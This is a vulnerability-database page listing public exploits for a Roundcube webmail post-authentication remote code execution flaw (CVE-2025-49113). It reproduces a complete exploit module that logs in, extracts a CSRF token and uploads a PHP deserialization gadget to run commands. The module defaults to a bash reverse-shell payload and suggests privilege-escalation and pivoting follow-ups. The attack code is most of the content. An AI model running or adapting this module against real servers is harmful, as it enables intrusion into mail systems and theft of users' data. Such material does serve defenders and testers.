Roundcube ≤ 1.6.10 Post-Auth RCE (CVE-2025-49113)
| Reporter | Title | Published | Views | Family All 116 |
|---|---|---|---|---|
| Exploit for CVE-2025-49113 | 19 Aug 202502:35 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 18 Jun 202519:10 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 19 Sep 202506:07 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 11 Jul 202513:19 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 10 Jun 202515:21 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Roundcube Webmail | 11 Apr 202621:54 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 3 Jun 202519:04 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 19 Sep 202506:07 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 22 Jun 202516:13 | – | githubexploit | |
| Exploit for CVE-2025-49113 | 11 Jul 202513:19 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Roundcube ≤ 1.6.10 post-auth RCE via PHP object deserialization (CVE-2025-49113)."""
import random
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
from lib.protocols.http.roundcube import Roundcube, FROM_CONTEXTS
class Module(Exploit, Http_client, Http_login, Roundcube):
__info__ = {
"name": "Roundcube ≤ 1.6.10 Post-Auth RCE (CVE-2025-49113)",
"description": (
"Authenticated RCE in Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11. "
"Unsafe _from handling in settings/upload.php allows PHP object deserialization "
"via a Crypt_GPG_Engine gadget (command execution as the web server user)."
),
"author": ["Maksim Rogov", "Kirill Firsov", "KittySploit Team"],
"cve": "CVE-2025-49113",
"platform": Platform.UNIX,
"arch": [Arch.CMD],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2025-49113",
"https://fearsoff.org/research/roundcube",
],
"tags": [
"roundcube",
"webmail",
"rce",
"deserialization",
"authenticated",
"cve-2025-49113",
"kev",
],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 4,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals"],
"cost": 1.5,
"noise": 0.5,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["roundcube"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": True,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": [],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": ""},
{"capability": "shell", "from_detail": ""},
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"post/shell/multi/gather/privesc_suggester",
"post/shell/multi/manage/pivot_autoroute",
],
},
},
}
targeturi = OptString("/", "Roundcube base URI (e.g. / or /roundcube/)", required=False)
roundcube_host = OptString("", "Optional login _host value", required=False, advanced=True)
command = OptString("", "Command override (else uses payload)", required=False, advanced=True)
def _base(self) -> str:
return self.rc_normalize_base(self.targeturi or self.path or "/")
def _command(self) -> str:
if self.command and str(self.command).strip():
return str(self.command).strip()
return str(self.payload or "").strip()
def check(self):
res = self.rc_fetch_login(self._base())
if not res:
return {"vulnerable": False, "reason": "No response", "confidence": "low"}
if res.status_code != 200:
return {
"vulnerable": False,
"reason": f"Unexpected HTTP {res.status_code}",
"confidence": "low",
}
body = res.text or ""
if not self.rc_looks_like_roundcube(body):
return {"vulnerable": False, "reason": "Roundcube not detected", "confidence": "low"}
rcversion = self.rc_extract_version(body)
if rcversion is None:
return {"vulnerable": False, "reason": "rcversion not found", "confidence": "low"}
version = self.rc_parse_version(rcversion)
if self.rc_version_vulnerable(rcversion):
return {
"vulnerable": True,
"reason": f"Roundcube {version} appears vulnerable to CVE-2025-49113",
"confidence": "high",
"version": version,
}
return {
"vulnerable": False,
"reason": f"Roundcube {version} appears patched",
"confidence": "medium",
"version": version,
}
def run(self):
cmd = self._command()
if not cmd:
print_error("Set a payload or command option")
return False
base = self._base()
print_status("CVE-2025-49113 — Roundcube post-auth deserialization RCE")
page = self.rc_fetch_login(base)
if not page or page.status_code != 200:
print_error("Unable to fetch login page")
self.not_vulnerable()
return False
rcversion = self.rc_extract_version(page.text or "")
if rcversion is not None:
version = self.rc_parse_version(rcversion)
print_info(f"Detected Roundcube {version}")
if not self.rc_version_vulnerable(rcversion):
print_warning("Version outside known vulnerable range; continuing anyway")
token = self.rc_extract_token(page.text or "")
if not token:
print_error("CSRF _token not found")
self.not_vulnerable()
return False
print_success("CSRF token extracted")
login = self.rc_login(
str(self.username or ""),
str(self.password or ""),
token,
base_path=base,
host=str(self.roundcube_host or "").strip(),
)
if not login.get("ok"):
print_error(login.get("reason") or "Login failed")
self.login_failed()
return False
self.login_success()
gadget = self.rc_build_gpg_gadget(cmd)
print_status("Uploading Crypt_GPG_Engine gadget...")
res = self.rc_upload_deserialize(
gadget,
base_path=base,
from_context=random.choice(FROM_CONTEXTS),
)
if not res:
print_error("No response from upload endpoint")
self.not_vulnerable()
return False
print_success(f"Upload sent (HTTP {res.status_code}) — check listener for a session")
self.vulnerable()
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 3.18.8 - 9.9
EPSS0.98972
SSVC